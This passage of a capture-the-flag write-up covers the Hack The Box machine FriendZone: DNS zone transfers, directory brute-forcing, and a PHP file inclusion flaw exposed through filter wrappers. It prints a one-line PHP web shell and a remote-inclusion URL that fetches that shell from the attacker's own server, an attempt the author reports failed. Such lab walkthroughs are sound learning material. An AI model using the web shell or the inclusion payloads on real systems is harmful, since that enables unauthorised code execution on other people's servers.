.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Once again, the page source gives more hints:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_js_js_source.png" alt="" /></p>

<p>Not entirely sure what “times” is referring to here, but I suppose “zones” is a hint for DNS zone transfer.</p>

<h3 id="tcp53---dns">TCP53 - DNS:</h3>

<p>A <a href="https://en.wikipedia.org/wiki/DNS_zone_transfer">zone transfer</a> is the process of synchronizing domain records between two DNS servers. This can be initialized via <code class="language-plaintext highlighter-rouge">dig</code>, in which the server will send back all information it holds for the domain, including all records as well as subdomain entries. Typically a zone transfer only happens over TCP, so it’s something always worth checking whenever TCP53 is found open.</p>

<p>I’ll do a zone transfer for both domains. It found several subdomains for <code class="language-plaintext highlighter-rouge">friendzone.red</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">dig axfr friendzone.red @10.129.26.47</span>
<span class="cmd-output">
; &lt;&lt;&gt;&gt; DiG 9.20.9-1-Debian &lt;&lt;&gt;&gt; axfr friendzone.red @10.129.26.47
;; global options: +cmd
friendzone.red.		604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red.		604800	IN	AAAA	::1
friendzone.red.		604800	IN	NS	localhost.
friendzone.red.		604800	IN	A	127.0.0.1
administrator1.friendzone.red. 604800 IN A	127.0.0.1
hr.friendzone.red.	604800	IN	A	127.0.0.1
uploads.friendzone.red.	604800	IN	A	127.0.0.1
friendzone.red.		604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 269 msec
;; SERVER: 10.129.26.47#53(10.129.26.47) (TCP)
;; WHEN: Thu Nov 13 22:37:34 ACDT 2025
;; XFR size: 8 records (messages 1, bytes 289)
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>And a few more for <code class="language-plaintext highlighter-rouge">friendzoneportal.red</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">dig axfr friendzoneportal.red @10.129.26.47</span>
<span class="cmd-output">
; &lt;&lt;&gt;&gt; DiG 9.20.9-1-Debian &lt;&lt;&gt;&gt; axfr friendzoneportal.red @10.129.26.47
;; global options: +cmd
friendzoneportal.red.	604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
friendzoneportal.red.	604800	IN	AAAA	::1
friendzoneportal.red.	604800	IN	NS	localhost.
friendzoneportal.red.	604800	IN	A	127.0.0.1
admin.friendzoneportal.red. 604800 IN	A	127.0.0.1
files.friendzoneportal.red. 604800 IN	A	127.0.0.1
imports.friendzoneportal.red. 604800 IN	A	127.0.0.1
vpn.friendzoneportal.red. 604800 IN	A	127.0.0.1
friendzoneportal.red.	604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 269 msec
;; SERVER: 10.129.26.47#53(10.129.26.47) (TCP)
;; WHEN: Thu Nov 13 22:43:23 ACDT 2025
;; XFR size: 9 records (messages 1, bytes 309)
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>In total, there’s 7 subdomains, I’ll add all of them to <code class="language-plaintext highlighter-rouge">/etc/hosts</code>. This is probably the most entries I’ve ever had in the hosts file.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># HTB machine FriendZone</span>
10.129.26.47	friendzone.red	friendzoneportal.red	administrator1.friendzone.red	hr.friendzone.red	uploads.friendzone.red	admin.friendzoneportal.red	files.friendzoneportal.red	imports.friendzoneportal.red	vpn.friendzoneportal.red
</code></pre></div></div>
<p><br />
<code class="language-plaintext highlighter-rouge">hr</code>, <code class="language-plaintext highlighter-rouge">files</code>, <code class="language-plaintext highlighter-rouge">imports</code> and <code class="language-plaintext highlighter-rouge">vpn</code> either returned 404 or the original troll page, but the rest does have something to look at.</p>

<h3 id="subdomains">Subdomains:</h3>
<h6 id="uploadsfriendzonered"><code class="language-plaintext highlighter-rouge">uploads.friendzone.red</code>:</h6>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_uploads_home.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">uploads</code> is a very basic upload page. I’ve uploaded a test image, and the page returned a success message with a timestamp.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_uploads_response.png" alt="" /></p>

<p>The page claims to only accept images, but it seemingly takes any files. Uploading a PHP web shell also returned the same success message.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">gobuster dir -u https://uploads.friendzone.red -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php -k</span>
<span class="cmd-output">
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://uploads.friendzone.red
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 302]
/files                (Status: 301) [Size: 334] [--&gt; https://uploads.friendzone.red/files/]
/upload.php           (Status: 200) [Size: 38]
Progress: 17394 / 441120 (3.94%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 17414 / 441120 (3.95%)
===============================================================
Finished
===============================================================
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">gobuster</code> also found <code class="language-plaintext highlighter-rouge">/files</code>, but neither my uploaded image nor the web shell could be found there.</p>

<p>Turns out the page still shows “success” even if the request is broken.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_uploads_burp.png" alt="" /></p>

<p>Given the context, this upload function seems rather random. I doubt it’s even implemented on the backend.</p>

<p>Sending a GET request to <code class="language-plaintext highlighter-rouge">/upload.php</code> also results in this:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_uploads_get.png" alt="" /></p>

<h6 id="adminfriendzoneportalred"><code class="language-plaintext highlighter-rouge">admin.friendzoneportal.red</code>:</h6>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_admin_home.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">admin</code> is a login page, but any credentials (or blank) would work.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_admin_login.png" alt="" /></p>

<p>It doesn’t offer much, other than suggesting to check the other admin page.</p>

<h6 id="administrator1friendzonered"><code class="language-plaintext highlighter-rouge">administrator1.friendzone.red</code>:</h6>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_admin1_home.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">administrator1</code> is yet another login form. This time authentication seems to be set up properly. Wrong credentials results in this:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_admin1_wrong.png" alt="" /></p>

<p>Interestingly, the page source also contains a register form:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_admin1_register.png" alt="" /></p>

<p>But it’s specifically hidden by some CSS:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_admin1_css.png" alt="" /></p>

<p>Anyway, it’s not needed, as the SMB creds worked here. The page suggests checking <code class="language-plaintext highlighter-rouge">/dashboard.php</code> on login.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_admin1_success.png" alt="" /></p>

<h3 id="admin-dashboard">Admin Dashboard:</h3>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_dashboard.png" alt="" /></p>

<p>It’s an under-construction and untested page. The error message indicated that some parameters were missing.</p>

<p>I’ll try the default params as suggested, and got this:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_default_params.png" alt="" /></p>

<p>The image seems to be directly referenced via <code class="language-plaintext highlighter-rouge">image_id</code>, and could potentially be vulnerable to path traversal/file inclusion attacks. I’ve tried <code class="language-plaintext highlighter-rouge">image_id=../../../../../../../../etc/passwd</code>, and it returned a broken image.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_dashboard_broken_img.png" alt="" /></p>

<p>Looking at Burp history, instead of directly including the file contents, it’s only appending the user input to the image source.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_dashboard_burp.png" alt="" /></p>

<p>This resulted in a second GET request to <code class="language-plaintext highlighter-rouge">/etc/passwd</code>, which obviously failed.</p>

<hr />
<h2 id="foothold">Foothold:</h2>
<h3 id="php-file-inclusion">PHP File Inclusion:</h3>

<p><code class="language-plaintext highlighter-rouge">gobuster</code> also found <code class="language-plaintext highlighter-rouge">/timestamp.php</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">gobuster dir -u https://administrator1.friendzone.red -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php -k</span>
<span class="cmd-output">
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://administrator1.friendzone.red
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 349] [--&gt; https://administrator1.friendzone.red/images/]
/.php                 (Status: 403) [Size: 309]
/login.php            (Status: 200) [Size: 7]
/dashboard.php        (Status: 200) [Size: 101]
/timestamp.php        (Status: 200) [Size: 36]
Progress: 53646 / 441120 (12.16%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 53651 / 441120 (12.16%)
===============================================================
Finished
===============================================================
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Visiting the page shows this:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_timestamp.png" alt="" /></p>

<p>The format looks identical to the timestamp seen on the bottom of <code class="language-plaintext highlighter-rouge">/dashboard.php</code>. I suspect the page is including other PHP files specified in the <code class="language-plaintext highlighter-rouge">pagename</code> param. Setting <code class="language-plaintext highlighter-rouge">pagename=login</code> resulted in this:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_lfi_login.png" alt="" /></p>

<p>I’ll retrieve the encoded source code using <a href="https://www.php.net/manual/en/wrappers.php.php">PHP wrappers</a>. Doing <code class="language-plaintext highlighter-rouge">pagename=php://filter/convert.base64-encode/resource=dashboard</code> returned a long base64 string.</p>

<p>I’ll get the page’s source code using PHP filters.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_lfi_filter.png" alt="" /></p>

<p>When decoded, I get its contents:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>

<span class="c1">//echo "&lt;center&gt;&lt;h2&gt;Smart photo script for friendzone corp !&lt;/h2&gt;&lt;/center&gt;";</span>
<span class="c1">//echo "&lt;center&gt;&lt;h3&gt;* Note : we are dealing with a beginner php developer and the application is not tested yet !&lt;/h3&gt;&lt;/center&gt;";</span>
<span class="k">echo</span> <span class="s2">"&lt;title&gt;FriendZone Admin !&lt;/title&gt;"</span><span class="p">;</span>
<span class="nv">$auth</span> <span class="o">=</span> <span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"FriendZoneAuth"</span><span class="p">];</span>

<span class="k">if</span> <span class="p">(</span><span class="nv">$auth</span> <span class="o">===</span> <span class="s2">"e7749d0f4b4da5d03e6e9196fd1d18f1"</span><span class="p">){</span>
 <span class="k">echo</span> <span class="s2">"&lt;br&gt;&lt;br&gt;&lt;br&gt;"</span><span class="p">;</span>

<span class="k">echo</span> <span class="s2">"&lt;center&gt;&lt;h2&gt;Smart photo script for friendzone corp !&lt;/h2&gt;&lt;/center&gt;"</span><span class="p">;</span>
<span class="k">echo</span> <span class="s2">"&lt;center&gt;&lt;h3&gt;* Note : we are dealing with a beginner php developer and the application is not tested yet !&lt;/h3&gt;&lt;/center&gt;"</span><span class="p">;</span>

<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"image_id"</span><span class="p">])){</span>
  <span class="k">echo</span> <span class="s2">"&lt;br&gt;&lt;br&gt;"</span><span class="p">;</span>
  <span class="k">echo</span> <span class="s2">"&lt;center&gt;&lt;p&gt;image_name param is missed !&lt;/p&gt;&lt;/center&gt;"</span><span class="p">;</span>
  <span class="k">echo</span> <span class="s2">"&lt;center&gt;&lt;p&gt;please enter it to show the image&lt;/p&gt;&lt;/center&gt;"</span><span class="p">;</span>
  <span class="k">echo</span> <span class="s2">"&lt;center&gt;&lt;p&gt;default is image_id=a.jpg&amp;pagename=timestamp&lt;/p&gt;&lt;/center&gt;"</span><span class="p">;</span>
 <span class="p">}</span><span class="k">else</span><span class="p">{</span>
 <span class="nv">$image</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"image_id"</span><span class="p">];</span>
 <span class="k">echo</span> <span class="s2">"&lt;center&gt;&lt;img src='images/</span><span class="nv">$image</span><span class="s2">'&gt;&lt;/center&gt;"</span><span class="p">;</span>

 <span class="k">echo</span> <span class="s2">"&lt;center&gt;&lt;h1&gt;Something went worng ! , the script include wrong param !&lt;/h1&gt;&lt;/center&gt;"</span><span class="p">;</span>
 <span class="k">include</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"pagename"</span><span class="p">]</span><span class="mf">.</span><span class="s2">".php"</span><span class="p">);</span>
 <span class="c1">//echo $_GET["pagename"];</span>
 <span class="p">}</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s2">"&lt;center&gt;&lt;p&gt;You can't see the content ! , please login !&lt;/center&gt;&lt;/p&gt;"</span><span class="p">;</span>
<span class="p">}</span>
<span class="cp">?&gt;</span>
</code></pre></div></div>
<p><br />
The vulnerable line is <code class="language-plaintext highlighter-rouge">include($_GET["pagename"].".php");</code>. As suspected, it adds the <code class="language-plaintext highlighter-rouge">.php</code> extension to the user input and directly includes the file in the page output.</p>

<h3 id="remote-file-inclusion-fail">Remote File Inclusion (Fail):</h3>

<p>Since it’s not prepending anything to <code class="language-plaintext highlighter-rouge">pagename</code>, it may be possible for remote file inclusion as well.</p>

<p>I’ve created a simple web shell and started an HTTP server to host it.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nb">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span> <span class="cp">?&gt;</span>
</code></pre></div></div>
<p><br />
Visiting <code class="language-plaintext highlighter-rouge">https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;pagename=http://10.10.14.66/shell.php&amp;cmd=id</code> <em>should</em> include my web shell and execute the <code class="language-plaintext highlighter-rouge">id</code> command, but no output appeared at the bottom:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_lfi_rfi.png" alt="" /></p>

<p>There’s no hit on my HTTP server either:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
